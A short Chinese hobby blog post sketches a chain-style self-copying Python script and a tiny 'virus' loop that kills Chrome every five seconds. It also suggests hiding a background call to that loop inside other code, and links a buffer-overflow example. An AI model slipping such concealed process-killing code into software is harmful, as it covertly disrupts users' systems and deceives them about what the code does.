简单程序

最近觉得这部分内容很有意思,这里无聊时想想写写。

1,复制自身的程序

Ken Thompson 的经典 C 程序:

http://www.cnblogs.com/coderzh/archive/2008/05/13/1194445.html

我个人的理解,对于一个复制自身的程序,应该是病毒式的复制,即由一生二,二生三,而不是一生万物,即应该是连锁式的产生复制。这里应该有两种方法, 一种,是修改程序文件本身,这样每次程序文件都有所差别;或者用参数传递,使得程序知道自己当前的id。

鉴于前者方式很蛋疼,这里试验了后者:

copy.py

# -* - coding: UTF-8 -* -
import os,sys

#fileId用来记录文件编号,不硬编码到文件中,而是用参数传递
if(len(sys.argv)!=2):
    print 'use: python filName fileId'
    exit(0)

fileName = sys.argv[0]
fileId = int(sys.argv[1])
names = fileName.split(".")
newFileName = names[0]+"1"+"."+names[1]
if fileId<20:
    print "copy a new file from %s to %s"%(fileName,newFileName)
    os.system("cp %s %s"%(fileName,newFileName))
    os.system("python %s %s"%(newFileName,fileId+1))

2,禁用Chrome浏览器的病毒:

我的理解是,可以在其他代码中隐蔽地插入后台运行本文件的代码:os.system("python testChromeAndkill.py 0 &"),代码很简单,轮询,每5秒会检测杀死chrome进程。

import os,time
while(True):
    time.sleep(5)
    os.system('''ps aux | grep chrome | awk '{print $2}' | xargs kill''')

3,缓冲区溢出代码

http://blog.163.com/jw_chen_cs/blog/static/20221214820124119642246/

















评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值